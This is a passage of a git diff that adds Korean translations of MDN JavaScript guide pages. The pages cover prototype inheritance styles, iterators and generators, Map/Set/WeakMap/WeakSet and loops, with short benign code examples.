+<p>프로토타입 상속에는 3가지 종류가 있다 : 위임형 상속, 연결형 상속, 함수형 상속.</p>
+
+<h3 id="위임형_상속Delegation_inheritance">위임형 상속(Delegation inheritance)</h3>
+
+<p>위임형 상속에서 프로토타입 객체는 다른 객체의 기반이 된다. 위임 프로토타입을 상속받을 경우 새 객체는 해당 프로토타입에 대한 참조를 가지고 있다.</p>
+
+<p>새 객체의 속성에 접근할 때, 해당 객체가 직접적으로 속성을 소유하고 있는지 먼저 체크한다. 없다면 다음 순서로 <code>[[Prototype]]</code>을 체크한다. 이 과정은 프로토타입 체인을 따라서 모든 객체의 프로토타입 체인의 최상위에 있는 객체인 <code>Object.prototype</code>에 도달할 때 까지 반복된다.</p>
+
+<p>메소드를 위임 상속할 경우 모든 객체가 각 메소드에에 대해 하나의 코드를 공유하므로 메모리를 절약할 수 있다.</p>
+
+<p>Javascript에서 이를 구현하는 방법은 여러가지가 있는데 ES6에서는 아래와 같은 방식이 흔하다:</p>
+
+<pre class="brush: js">class Greeter {
+ constructor (name) {
+ this.name = name || 'John Doe';
+ }
+ hello () {
+ return `Hello, my name is ${ this.name }`;
+ }
+}
+
+const george = new Greeter('George');
+const msg = george.hello();
+console.log(msg); // Hello, my name is George
+</pre>
+
+<p><code>Object.create(null)</code>. 을 통해 프로토타입을 {{jsxref("null")}}로 지정하여 속성 위임 없이 객체를 생성할 수 있다..</p>
+
+<p>이 방법의 큰 단점 중 하나는 상태를 저장하는데 그리 좋은 방법이 아니라는 것이다. 객체나 배열의 상태를 변경하게 되면 같은 프로토타입을 공유하는 모든 객체의 상태가 변경된다.</p>
+
+<p>상태 변경이 전파되는 것을 막으려면 각 객체마다 상태 값의 복사본을 만들어야 한다.</p>
+
+<h3 id="연결형_상속Concatenative_inheritance">연결형 상속(Concatenative inheritance)</h3>
+
+<p>연결형 상속은 한 객체의 속성을 다른 객체에 모두 복사함으로써 상속을 구현하는 방법이다.</p>
+
+<p>이 상속법은 Javascript 객체의 동적 확장성을 이용한 방법이다. 객체 복사는 속성의 초기값을 저장하기 위한 좋은 방법이다: 이 방식은 {{jsxref("Object.assign()")}}을 통해 구현하는 것이 보통이며 ES6 이전에 Lodash, Underscore, jQuery등의 라이브러리들이 <code>.extend()</code> 와 비슷한 메소드로 제공한 방법이다.</p>
+
+<pre class="brush: js">const proto = {
+ hello: function hello() {
+ return `Hello, my name is ${ this.name }`;
+ }
+};
+
+const george = Object.assign({}, proto, {name: 'George'});
+const msg = george.hello();
+console.log(msg); // Hello, my name is George
+</pre>
+
+<p>연결형 상속은 매우 좋은 방법이며 클로져와 같이 사용한다면 훨씬 효과적인 상속 방식입니다..</p>
+
+<h3 id="함수형_상속Functional_inheritance">함수형 상속(Functional inheritance)</h3>
+
+<p>함수형 상속(Functional inheritance)이라는 단어는 Douglas Crockford가 자신의 저서 “JavaScript: The Good Parts”에서 창조한 단어이다. 이 방법은 새 속성들을 연결형 상속으로 쌓되 상속 기능을 Factory 함수로 만들어 사용하는 방식이다.</p>
+
+<p>기존의 객체를 확장하는데 쓰이는 함수를 일반적으로 믹스인 함수라 칭한다. 객체 확장에 함수를 사용하는 가장 큰 이점은 Private Data를 클로져를 통해 캡슐화 시킬 수 있다는 점이다.</p>
+
+<p>다르게 말하자면 Private 상태를 지정할 수 있다는 의미이다.</p>
+
+<p>특정 함수를 통할 필요 없이 public 접근이 가능한 속성에 대해 접근 제한을 거는 것은 문제가 있다. 따라서 private 클로져에 속성 값을 숨겨야 하며 이는 아래와 같이 구현한다:</p>
+
+<pre class="brush: js">// import Events from 'eventemitter3';
+
+const rawMixin = function () {
+ const attrs = {};
+ return Object.assign(this, {
+ set (name, value) {
+ attrs[name] = value;
+ this.emit('change', {
+ prop: name,
+ value: value
+ });
+ },
+ get (name) {
+ return attrs[name];
+ }
+ }, Events.prototype);
+};
+
+const mixinModel = (target) =&gt; rawMixin.call(target);
+const george = { name: 'george' };
+const model = mixinModel(george);
+model.on('change', data =&gt; console.log(data));
+model.set('name', 'Sam');
+/*
+{
+ prop: 'name',
+ value: 'Sam'
+}
+*/
+</pre>
+
+<p><code>attrs</code> 을 public 속성에서 private 영역으로 옮겨서 public API를 통한 접근을 차단할 수 있다. // 접근할 수 있는 유일한 방법은 Privileged 메소드 뿐이다. Privileged 메소드는 클로져 영역에 정의된 함수로 private data에 접근 가능한 함수들을 일컫는다.</p>
+
+<p>위 예제를 보면 믹스인 함수 <code>rawMixin()</code>.에 대한 래퍼로 <code>mixinModel()</code> 을 선언한 것을 알 수 있다. 이는 예제에서 {{jsxref("Function.prototype.call()")}} 을 사용했듯이 함수 내에서 <code>this</code>의 값을 설정해야 하기 때문이다. Wrapper를 생략하고 호출자가 알아서 하도록 놔둘 수 있지만 그럴 경우 혼동될 가능성이 있다.</p>
+
+<div>
+<h2 id="결론">결론</h2>
+
+<p>복잡한 코드를 작성하여 이용하기 전에 프로토타입 기반의 상속 모델을 이해하는 것이 <strong>중요하다</strong>. 또한 프로토타입 체인의 길이는 성능을 저해하지 않도록 줄이는 방법을 고안해야 한다. 또한 빌트인 프로토타입은 새로운 자바스크립트 기능과 호환성을 갖기 위한 이유가 아닌 이상 <strong>절대</strong> 확장해서는 안된다.</p>
+</div>
+</div>
diff --git a/files/ko/web/javascript/guide/iterators_and_generators/index.html b/files/ko/web/javascript/guide/iterators_and_generators/index.html
new file mode 100644
index 0000000000..648b898504
--- /dev/null
+++ b/files/ko/web/javascript/guide/iterators_and_generators/index.html
@@ -0,0 +1,193 @@
+---
+title: 반복기 및 생성기
+slug: Web/JavaScript/Guide/Iterators_and_Generators
+tags:
+ - Guide
+ - Intermediate
+ - JavaScript
+translation_of: Web/JavaScript/Guide/Iterators_and_Generators
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Using_promises", "Web/JavaScript/Guide/Meta_programming")}}</div>
+
+<p class="summary">컬렉션 내 각 항목 처리는 매우 흔한 연산입니다. JavaScript는 간단한 {{jsxref("Statements/for","for")}} 루프에서 {{jsxref("Global_Objects/Array/map","map()")}} 및 {{jsxref("Global_Objects/Array/filter","filter()")}}에 이르기까지, 컬렉션을 반복하는 많은 방법을 제공합니다. 반복기(iterator) 및 생성기(generator)는 반복 개념을 핵심 언어 내로 바로 가져와 {{jsxref("Statements/for...of","for...of")}} 루프의 동작(behavior)을 사용자 정의하는 메커니즘을 제공합니다.</p>
+
+<p>자세한 내용은, 다음을 참조하세요:</p>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Iteration_protocols">반복 프로토콜</a></li>
+ <li>{{jsxref("Statements/for...of","for...of")}}</li>
+ <li>{{jsxref("Statements/function*","function*")}} 및 {{jsxref("Generator")}}</li>
+ <li>{{jsxref("Operators/yield","yield")}} 및 {{jsxref("Operators/yield*","yield*")}}</li>
+</ul>
+
+<h2 id="반복자">반복자</h2>
+
+<p>자바스크립트에서 <strong>반복자(Iterator)</strong>는 시퀀스를 정의하고  종료시의 반환값을 잠재적으로 정의하는 객체입니다.  더 구체적으로 말하자면, 반복자는 두 개의 속성( <code>value</code>, <code>done</code>)을 반환하는 next() 메소드 사용하여  객체의 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Iteration_protocols#The_iterator_protocol">Iterator protocol</a>을 구현합니다. 시퀀스의 마지막 값이 이미 산출되었다면 <code>done</code> 값은 true 가 됩니다. 만약 <code>value</code>값이 <code>done</code> 과 함께 존재한다면, 그것은 반복자의 반환값이 됩니다.</p>
+
+<p>반복자를 생성하면 <code>next()</code> 메소드를 반복적으로 호출하여 명시적으로 반복시킬 수 있습니다.  반복자를 반복시키는 것은 일반적으로 한 번씩만 할 수 있기 때문에, 반복자를 소모시키는 것이라고 할 수 있습니다. 마지막 값을 산출하고나서  <code>next()</code>를 추가적으로 호출하면 <code>{done: true}</code>. 가 반환됩니다.</p>
+
+<p>자바스크립트에서 가장 일반적인 반복자는 배열 반복자로, 배열의 각 값을 순서대로 반환합니다. 모든 반복자가 배열로 표현될수 있다고 상상할 수 있지만 , 이것은 사실은 아닙니다. 배열은 완전히 할당되어야 하지만,  반복자는 필요한만큼만 소모되므로  무제한 시퀀스로 표현할 수 있습니다. 이를 테면 0부터 무한대사이의 정수범위처럼 말이죠.</p>
+
+<p>여기에 실습할 수 있는 예제가 있습니다.  <code>start</code>에서 <code>end</code>까지 <code>step</code> 수 만큼 띄어진  정수 시퀀스를 정의하는 간단한 범위 반복자를 만들 수 있습니다. 최종적으로 시퀀스의 크기가 반환됩니다.</p>
+
+<pre class="notranslate"><code>function makeRangeIterator(start = 0, end = Infinity, step = 1) {
+ var nextIndex = start;
+ var n = 0;
+
+ var rangeIterator = {
+ next: function() {
+ var result;
+ if (nextIndex &lt; end) {
+ result = { value: nextIndex, done: false }
+ } else if (nextIndex == end) {
+ result = { value: n, done: true }
+ } else {
+ result = { done: true };
+  }
+ nextIndex += step;
+ n++;
+ return result;
+ }
+ };
+ return rangeIterator;
+}</code>
+</pre>
+
+<p>위의 반복자를 사용하면 아래와 같습니다:</p>
+
+<pre class="notranslate"><code>var it = makeRangeIterator(1, 4);
+
+var result = it.next();
+while (!result.done) {
+ console.log(result.value); // 1 2 3
+ result = it.next();
+}
+
+console.log("Iterated over sequence of size: ", result.value);</code>
+</pre>
+
+<div class="note">
+<p>It is not possible to know reflectively whether a particular object is an iterator. If you need to do this, use <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Guide/Iterators_and_Generators$edit#Iterables">Iterables</a>.</p>
+</div>
+
+<h2 id="Generator_functions">Generator functions</h2>
+
+<p>잘 만들어진 반복자(Iterator)는 유용한 도구인 반면, 이것을 생성할 때는 주의해서 프로그래밍을 해야 하는데, 반복자 내부에 명시적으로 상태를 유지할 필요가 있기 때문입니다. 생성자(Generator) 함수는 이에 대한 강력한 대안을 제공합니다: 실행이 연속적이지 않은 하나의 함수를 작성함으로서 개발자가 iterative algorithm을 정의할 수 있게 해줍니다. 생성자 함수는 {{jsxref("Statements/function*","function*")}} 문법을 사용하여 작성됩니다. 생성자 함수가 최초로 호출될 때, 함수 내부의 어떠한 코드도 실행되지 않고, 대신 생성자라고 불리는 반복자 타입을 반환합니다. 생성자의 <strong>next</strong> 메소드를 호출함으로서 어떤 값이 소비되면, 생성자 함수는 <strong>yield</strong> 키워드를 만날 때까지 실행됩니다. </p>
+
+<p>생성자 함수는 원하는 만큼 호출될 수 있고, 매번 새로운 생성자를 반환합니다다. 하지만, 각 생성자는 단 한 번만 순회될 수 있을 것입니다.</p>
+
+<p>위의 예제 코드에 생성자를 적용한 것입니다. 두 코드의 행위는 동일하지만, 생성자를 사용한 쪽이 쓰거나 읽기가 훨씬 쉽습니다. </p>
+
+<pre class="notranslate"><code>function* makeRangeIterator(start = 0, end = Infinity, step = 1) {
+ let n = 0;
+ for (let i = start; i &lt; end; i += step) {
+ n++;
+ yield i;
+ }
+ return n;
+}</code></pre>
+
+<h2 id="Iterables">Iterables</h2>
+
+<p>객체는 값이 {{jsxref("Statements/for...of", "for..of")}} 구조 내에서 반복되는 것 같은 그 반복 동작을 정의하는 경우 반복이 가능(<strong>iterable</strong>)합니다. {{jsxref("Array")}} 또는 {{jsxref("Map")}}과 같은 일부 내장 형은 기본 반복 동작이 있지만 다른 형(가령 {{jsxref("Object")}})은 없습니다.</p>
+
+<p><strong>반복가능</strong>하기 위해서, 객체는 <strong>@@iterator</strong> 메서드를 구현해야 합니다. 즉, 객체( 혹은 그 <a href="/ko/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain" title="prototype chain">프로토타입 체인</a>에 등장하는 객체 중 하나)가 {{jsxref("Symbol.iterator")}} 키를 갖는 속성이 있어야 함을 뜻합니다.</p>
+
+<p>하나의 iterable은 단 한 번, 혹은 여러번 반복가능합니다. 어떤 순간에 어떻게 사용할 지는 프로그래머에게 달려있습니다. 단 한 번 반복가능한 iterable(e.g. Generator)은 관습적으로 자신의 <strong>@@iterator</strong> 메소드로부터 <strong>this</strong>를 반환합니다. 반면, 여러 번 반복 가능한 iterables은 <strong>@@iterator </strong>메소드가 호출되는 매 회 새로운 iterator를 반드시 반환해야합니다. </p>
+
+<h3 id="사용자_정의_iterable">사용자 정의 iterable</h3>
+
+<p>이와 같이 자신의 반복가능 객체를 만들 수 있습니다:</p>
+
+<pre class="notranslate"><code>var myIterable = {
+ *[Symbol.iterator]() {
+ yield 1;
+ yield 2;
+ yield 3;
+ }
+}
+
+for (let value of myIterable) {
+ console.log(value);
+}
+// 1
+// 2
+// 3
+
+or
+
+[...myIterable]; // [1, 2, 3]</code></pre>
+
+<h3 id="내장_iterable">내장 iterable</h3>
+
+<p>{{jsxref("String")}}, {{jsxref("Array")}}, {{jsxref("TypedArray")}}, {{jsxref("Map")}} 및 {{jsxref("Set")}}은 모두 내장 반복가능 객체입니다, 그들의 프로토타입 객체가 모두 {{jsxref("Symbol.iterator")}} 메서드가 있기 때문입니다.</p>
+
+<h3 id="iterable을_기대하는_구문">iterable을 기대하는 구문</h3>
+
+<p>일부 문(statement) 및 식(expression)은 iterable합니다, 가령 {{jsxref("Statements/for...of","for-of")}} 루프, {{jsxref("Operators/Spread_operator","spread syntax","","true")}}, {{jsxref("Operators/yield*","yield*")}} 및 {{jsxref("Operators/Destructuring_assignment","해체 할당","","true")}}.</p>
+
+<pre class="brush: js notranslate">for(let value of ['a', 'b', 'c']){
+ console.log(value)
+}
+// "a"
+// "b"
+// "c"
+
+[...'abc'] // ["a", "b", "c"]
+
+function* gen(){
+ yield* ['a', 'b', 'c']
+}
+
+gen().next() // { value:"a", done:false }
+
+[a, b, c] = new Set(['a', 'b', 'c'])
+a // "a"
+
+
+</pre>
+
+<h2 id="Generator_심화">Generator 심화</h2>
+
+<p> 생성자 함수는 요청에 따라 그 산출된(yielded, yield 식으로 산출된) 값을 계산하고, 계산하기 비싼(힘든) 수열 또는 위에 설명한 대로 무한 수열이라도 효율적으로 나타내게 합니다.</p>
+
+<p>{{jsxref("Global_Objects/Generator/next","next()")}} 메서드는 또한 생성기의 내부 상태를 수정하는 데 쓰일 수 있는 값을 받습니다. <code>next()</code>에 전달되는 값은 생성기가 중단된 마지막 <code>yield</code> 식의 결과로 처리됩니다.</p>
+
+<p>여기 sequence(수열)을 재시작하기 위해 <code>next(x)</code>를 사용하는 피보나치 생성기가 있습니다:</p>
+
+<pre class="brush: js notranslate">function* fibonacci(){
+ var fn1 = 0;
+ var fn2 = 1;
+ while (true){
+ var current = fn1;
+ fn1 = fn2;
+ fn2 = current + fn1;
+ var reset = yield current;
+ if (reset){
+ fn1 = 0;
+ fn2 = 1;
+ }
+ }
+}
+
+var sequence = fibonacci();
+console.log(sequence.next().value); // 0
+console.log(sequence.next().value); // 1
+console.log(sequence.next().value); // 1
+console.log(sequence.next().value); // 2
+console.log(sequence.next().value); // 3
+console.log(sequence.next().value); // 5
+console.log(sequence.next().value); // 8
+console.log(sequence.next(true).value); // 0
+console.log(sequence.next().value); // 1
+console.log(sequence.next().value); // 1
+console.log(sequence.next().value); // 2
+</pre>
+
+<p>You can force a generator to throw an exception by calling its {{jsxref("Global_Objects/Generator/throw","throw()")}} method and passing the exception value it should throw. This exception will be thrown from the current suspended context of the generator, as if the <code>yield</code> that is currently suspended were instead a <code>throw<em>value</em></code> statement.</p>
+
+<p>If the exception is not caught from within the generator,  it will propagate up through the call to <code>throw()</code>, and subsequent calls to <code>next()</code> will result in the <code>done</code> property being <code>true</code>.</p>
+
+<p>Generators have a {{jsxref("Global_Objects/Generator/return","return(value)")}} method that returns the given value and finishes the generator itself.</p>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Using_promises", "Web/JavaScript/Guide/Meta_programming")}}</p>
diff --git a/files/ko/web/javascript/guide/keyed_collections/index.html b/files/ko/web/javascript/guide/keyed_collections/index.html
new file mode 100644
index 0000000000..a206b6556d
--- /dev/null
+++ b/files/ko/web/javascript/guide/keyed_collections/index.html
@@ -0,0 +1,149 @@
+---
+title: 키기반의 컬렉션
+slug: Web/JavaScript/Guide/Keyed_collections
+translation_of: Web/JavaScript/Guide/Keyed_collections
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Indexed_Collections", "Web/JavaScript/Guide/Working_with_Objects")}}</div>
+
+<p class="summary">이번 장에서는 입력된 키값을 기준으로 정렬되는 데이터의 집합(자료 구조)에 대해 소개 할 것이다. Map과 Set은 입력된 순서대로 반복적으로 접근 가능한 요소들을 포함하고 있다. </p>
+
+<h2 id="Maps">Maps</h2>
+
+<h3 id="Map_객체"><code>Map</code> 객체</h3>
+
+<p>ECMAScript 6에서 값들을 매핑하기 위한 새로운 데이터 구조를 소개 하고 있다.  그중 하나인 Map객체는 간단한 키와 값을 서로 연결(매핑)시켜 저장하며 저장된 순서대로 각 요소들을 반복적으로 접근할 수 있도록 한다. </p>
+
+<p>다음 코드는 Map이 제공하는 기본적인 기능들을 보여 주고 있다. 더 많은 예제와 모든 기능에 대한 API를 볼려면 {{jsxref("Map")}} 페이지를 참고하면 된다. Map객체에 저장되어 있는 각 요소들을 [키, 값] 형태의 배열로 반복적으로 반환해주는 <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a></code> 를 사용할 수 있다.</p>
+
+<pre class="brush: js">var sayings = new Map();
+sayings.set("dog", "woof");
+sayings.set("cat", "meow");
+sayings.set("elephant", "toot");
+sayings.size; // 3
+sayings.get("fox"); // undefined
+sayings.has("bird"); // false
+sayings.delete("dog");
+
+for (var [key, value] of sayings) {
+  console.log(key + " goes " + value);
+}
+// "cat goes meow"
+// "elephant goes toot"
+</pre>
+
+<h3 id="Object와_Map_비교"><font face="Consolas, Liberation Mono, Courier, monospace">Object와 Map 비교</font></h3>
+
+<p>전통적으로 {{jsxref("Object", "objects", "", 1)}} 는 문자열을 값에 매핑하는 데 사용되었다. Object는 키를 값으로 설정하고, 값을 검색하고, 키를 삭제하고, 키에 저장된 내용을 검색 할 수 있게 만들어준다. 그러나 Map 객체는 더 나은 맵이 되도록 하는 몇 가지 장점을 가지고 있다.</p>
+
+<ul>
+ <li>Object의 키는 {{jsxref("Global_Objects/String","Strings")}}이며, Map의 키는 모든 값을 가질 수 있다.</li>
+ <li>Object는 크기를 수동으로 추적해야하지만, Map은 크기를 쉽게 얻을 수 있다.</li>
+ <li>Map은 삽입된 순서대로 반복된다.</li>
+ <li>객체(Object)에는 prototype이 있어 Map에 기본 키들이 있다. (이것은 map = Object.create(null) 를 사용하여 우회할 수 있다. )</li>
+</ul>
+
+<p>Object 혹은 Map중에 어느 것을 사용할지를 결정하는데 도움을 줄 두가지 팁이 있다:</p>
+
+<ul>
+ <li>실행 시까지 키를 알수 없고, 모든 키가 동일한 type이며 모든 값들이 동일한 type일 경우에는 objects를  대신해서 map을 사용해라. </li>
+ <li>각 개별 요소에 대해 적용해야 하는 로직이 있을 경우에는 objects를 사용해라. </li>
+</ul>
+
+<h3 id="WeakMap_object"><code>WeakMap</code> object</h3>
+
+<p>{{jsxref("WeakMap")}}객체는  object만을 키로 허용하고 값은 임의의 값을 허용하는  키/값 형태의 요소의 집합이다. 키가 가지고 있는 객체에 대한 참조는 객체에 대한 참조가 더이상 존재하지 않을 경우 garbage collection(GC)의 수거 대상이 되는 약한 참조를 의미한다. <code>WeakMap</code> API는 Map API와 동일하다. </p>
+
+<p>단 한가지  Map객체와 다른 점은 WeakMap의 키들은 열거형이 아니라는 점이다. (즉, 키 목록을 제공해 주는 메서드가 없다는 것이다.) 만약에 키 목록을 제공한다면 garbage collection의 상태, 결과에 따라 키 목록이 변하게 될 것이다. 이는 비 결정성을 야기한다. </p>
+
+<p>WeakMap에 대한 더 많은 정보와 예제 코드 그리고 "왜 WeakMap을 사용하지?"를 보고 싶다면 {{jsxref("WeakMap")}} 페이지를 참고하면 된다. </p>
+
+<p><code>WeakMap를 사용하는 한가지 경우는 객체의 사적인 정보를 저장하기 위해서 이거나 상세 구현 내용을 숨기기 위한 것이다. 다음의 예제는 </code>Nick Fitzgerald의 블로그 글- <a href="http://fitzgeraldnick.com/weblog/53/">"Hiding Implementation Details with ECMAScript 6 WeakMaps"</a>-에서 가져온 것이다. 객체가 가지고 있는 그렇지만 외부에 공개되지 않는(private) 데이터와 메서드들은 WeakMap객체인 privates에 저장이 된다. 인스턴스를 통해 접근 가능한 모든 것들과 prototype은 public이고 다른 것들은 외부에서는 접근이 불가하다 그 이유는 privates는 모듈로부터 내보내기(export)가 되지 않기 때문이다.</p>
+
+<pre class="brush: js">const privates = new WeakMap();
+
+function Public() {
+ const me = {
+ // Private data goes here
+ };
+ privates.set(this, me);
+}
+
+Public.prototype.method = function () {
+ const me = privates.get(this);
+ // Do stuff with private data in `me`...
+};
+
+module.exports = Public;
+</pre>
+
+<h2 id="Sets">Sets</h2>
+
+<h3 id="Set_object"><code>Set</code> object</h3>
+
+<p>{{jsxref("Set")}}객체는 값들의 집합이다. 입력된 순서에따라 저장된 요소를 반복처리할 수 있다. Set은 중복된 값을 허용하지 않는다. 따라서 특정 값은 Set내에서 하나만 존재 하게 된다. </p>
+
+<p>아래의 코드는 Set의 기본적인 동작들을 보여 준다. 더 많은 예제와 모든 API는 {{jsxref("Set")}} 참조 페이지를 보면 된다. </p>
+
+<pre class="brush: js">var mySet = new Set();
+mySet.add(1);
+mySet.add("some text");
+mySet.add("foo");
+
+mySet.has(1); // true
+mySet.delete("foo");
+mySet.size; // 2
+
+for (let item of mySet) console.log(item);
+// 1
+// "some text"
+</pre>
+
+<h3 id="배열과_Set의_상호_변환">배열과 Set의 상호 변환</h3>
+
+<p>{{jsxref("Array.from")}} 혹은 <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator">spread operator</a>를 통해 Set객체를 가지고 {{jsxref("Array")}}을 생성할 수 있다. 또한 Set 생성자는 배열을 인자로 받을 수 있고 해당 배열을 Set객체의 요소로 저장한다. 한번 더 상기시키면 Set객체는 중복된 값을 저장하지 않기때문에 주어진 배열내의 중복된 요소들을 제거되어 Set으로 변환된다. </p>
+
+<pre class="brush: js">Array.from(mySet);
+[...mySet2];
+
+mySet2 = new Set([1,2,3,4]);
+</pre>
+
+<h3 id="배열과_Set비교"><font face="Consolas, Liberation Mono, Courier, monospace">배열과 Set비교</font></h3>
+
+<p>일반적으로 Javascript에선 배열에 특정 요소의 집합을 저장한다. 하지만 Set객체는 몇가지 이점을 제공한다. </p>
+
+<ul>
+ <li>{{jsxref("Array.indexOf", "indexOf")}}메서드를 사용하여 배열내에 특정 요소가 존재하는지 확인하는 것은 느리다.</li>
+ <li>배열에선 해당 요소를 배열에서 잘라내야 하는 반면 Set객체는 요소의 값으로 해당 요소를 삭제하는 기능 제공한다.</li>
+ <li>{{jsxref("NaN")}}은 배열에서 indexOf메서드로 찾을 수 없다. </li>
+ <li>Set객체는 값의 유일성을 보장하기 때문에 직접 요소의 중복성을 확인할 필요가 없다. </li>
+</ul>
+
+<h3 id="WeakSet_객체"><code>WeakSet</code> 객체</h3>
+
+<p>{{jsxref("WeakSet")}} objects are collections of objects. An object in the <code>WeakSet</code> may only occur once; it is unique in the <code>WeakSet</code>'s collection and objects are not enumerable.</p>
+
+<p>{{jsxref("WeakSet")}}객체는 객체를 저장하는 일종의 집합이다. <code>WeakSet내의 중복된 객체는 없으며 WeakSet내의 요소를 열거할 수는 없다.  </code></p>
+
+<p>{{jsxref("Set")}}과 가장 큰 차이점은 다음과 같다.</p>
+
+<ul>
+ <li><code>Set과는 다르게 WeakSet은 객체의 집합이며 객체만 저장할 수 있다. 특정 type의 값을 저장할 수는 없다. </code></li>
+ <li><font face="Consolas, Liberation Mono, Courier, monospace">WeakSet은 약한 참조를 가진다. WeakSet내의 객체에 대한 참조는 약하게 연결이 되어 있다. WeakSet내에 저장되어 있는 객체에 대한 참조가 없게되면 garbage collection 대상이되어 수거 된다. 따라서 현재 저장되어 있는 객체에 대한 목록은 없으며 WeakSet은 열거형이 아니다. </font></li>
+</ul>
+
+<p><code>WeakSet객체의 사용 사례는 제한되어 있다. 메모리 누수가 발생되지 않기때문에 안전하게 DOM요소를 키로 저장할 수 있고 예를 들면 추적을 위해 DOM요소들을 WeakSet에 저장할 수 있다. </code></p>
+
+<p> </p>
+
+<h2 id="Map과_Set의_키와_값의_동치성"><code>Map과 Set의 키와 값의 동치성</code></h2>
+
+<p>Map객체의 key에 대한 동치성 비교와 Set객체의  값에 대한 동치성 비교 모두 "<a href="https://people.mozilla.org/~jorendorff/es6-draft.html#sec-samevaluezero">same-value-zero algorithm</a>"에 근거한다. </p>
+
+<ul>
+ <li>동치성 비교는 <code>=== 비교 연산과 같이 작동한다. </code></li>
+ <li>-0과 +0은 같다고 간주한다. </li>
+ <li>{{jsxref("NaN")}}는 자기 자신하고 같다고 간주한다. (===와는 반대로)</li>
+</ul>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Indexed_Collections", "Web/JavaScript/Guide/Working_with_Objects")}}</p>
diff --git a/files/ko/web/javascript/guide/loops_and_iteration/index.html b/files/ko/web/javascript/guide/loops_and_iteration/index.html
new file mode 100644
index 0000000000..4b0ac738b6
--- /dev/null
+++ b/files/ko/web/javascript/guide/loops_and_iteration/index.html
@@ -0,0 +1,332 @@
+---
+title: 루프와 반복
+slug: Web/JavaScript/Guide/Loops_and_iteration
+translation_of: Web/JavaScript/Guide/Loops_and_iteration
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Control_flow_and_error_handling", "Web/JavaScript/Guide/Functions")}}</div>
+
+<p class="summary">루프는 어떤 것을 반복적으로 시행할때 빠르고 간편한 방법을 제공합니다. <a href="/en-US/docs/Web/JavaScript/Guide">JavaScript Guide</a>의 이 항목은 JavaScript 에서 사용이 가능한 서로 다른 여러가지 반복문을 소개합니다.</p>
+
+<p>반복문을 게임의 컴퓨터화된 버전이라고 생각해 보세요. 누군가에게 한 방향으로 X만큼 가게 시키고 다른 방향으로 Y만큼 더 가게 한다고 생각해 보십시오. 예를들어, "동쪽으로 5만큼 가세요"는 다음과 같이 반복문으로 표현 될 수 있습니다.</p>
+
+<pre class="brush: js notranslate">var step;
+for (step = 0; step &lt; 5; step++) {
+ // Runs 5 times, with values of step 0 through 4.
+ console.log('Walking east one step');
+}
+</pre>
+
+<p>반복문은 매우 다양한 종류가 있습니다. 하지만 반복문이 기본적으로 하는일은 모두 같습니다. 반복문은 한 동작을 여러 번 반복합니다. (사실 0회 반복하는 것도 가능합니다.) 다양한 반복문 메커니즘은 다양한 방법으로 반복문의 시작점과 끝나는 점을 정할 수 있습니다.</p>
+
+<p>자바스크립트가 지원하는 반복문은 다음과 같습니다:</p>
+
+<ul>
+ <li>{{anch("for 문")}}</li>
+ <li>{{anch("do...while 문")}}</li>
+ <li>{{anch("while 문")}}</li>
+ <li>{{anch("레이블 문")}}</li>
+ <li>{{anch("break 문")}}</li>
+ <li>{{anch("continue 문")}}</li>
+ <li>{{anch("for...in 문")}}</li>
+ <li>{{anch("for...of 문")}}</li>
+</ul>
+
+<h2 id="for_문"><code>for</code> 문</h2>
+
+<p>for 반복문은 어떤 특정한 조건이 거짓으로 판별될 때까지 반복합니다. 자바스크립트의 반복문은 C의 반복문과 비슷합니다. for 반복문은 다음과 같습니다.</p>
+
+<pre class="syntaxbox notranslate">for ([초기문]; [조건문]; [증감문])
+ 문장
+</pre>
+
+<p>for문이 실행될 때, 다음과 같이 실행됩니다.:</p>
+
+<ol>
+ <li>초기화 구문인 초기문이 존재한다면 초기문이 실행됩니다. 이 표현은 보통 1이나 반복문 카운터로 초기 설정이 됩니다. 그러나 복잡한 구문으로 표현 될 때도 있습니다. 또한 변수로 선언 되기도 합니다.</li>
+ <li>조건문은 조건을 검사합니다. 만약 조건문이 참이라면, 그 반복문은 실행됩니다. 만약 조건문이 거짓이라면, 그 for문은 종결됩니다. 만약 그 조건문이 생략된다면, 그 조건문은 참으로 추정됩니다.</li>
+ <li>문장이 실행됩니다. 많은 문장을 실행할 경우엔, { } 를 써서 문장들을 묶어 줍니다.</li>
+ <li>갱신 구문인 증감문이 존재한다면 실행되고 2번째 단계로 돌아갑니다.</li>
+</ol>
+
+<h3 id="예시"><strong>예시</strong></h3>
+
+<p>다음 함수는 스크롤링 목록(다중 선택을 허용하는 요소 {{HTMLElement("select")}}). 에서 선택된 옵션들을 세는 for문 입니다. 이 for문은 변수 i 를 선언하고 0으로 초기화 시킵니다. 이것은 i 가  &lt;select&gt; 요소 안의 옵션 수가 i 보다 작은지 확인 합니다. 다음의 if문을 수행하고 각 루프를 빠져나간 뒤 i 를 1 증가시킵니다.</p>
+
+<pre class="brush: html notranslate">&lt;form name="selectForm"&gt;
+  &lt;p&gt;
+    &lt;label for="musicTypes"&gt;Choose some music types, then click the button below:&lt;/label&gt;
+    &lt;select id="musicTypes" name="musicTypes" multiple="multiple"&gt;
+      &lt;option selected="selected"&gt;R&amp;B&lt;/option&gt;
+      &lt;option&gt;Jazz&lt;/option&gt;
+      &lt;option&gt;Blues&lt;/option&gt;
+      &lt;option&gt;New Age&lt;/option&gt;
+      &lt;option&gt;Classical&lt;/option&gt;
+      &lt;option&gt;Opera&lt;/option&gt;
+    &lt;/select&gt;
+  &lt;/p&gt;
+  &lt;p&gt;&lt;input id="btn" type="button" value="How many are selected?" /&gt;&lt;/p&gt;
+&lt;/form&gt;
+
+&lt;script&gt;
+function howMany(selectObject) {
+ var numberSelected = 0;
+ for (var i = 0; i &lt; selectObject.options.length; i++) {
+ if (selectObject.options[i].selected) {
+ numberSelected++;
+ }
+ }
+ return numberSelected;
+}
+
+var btn = document.getElementById("btn");
+btn.addEventListener("click", function(){
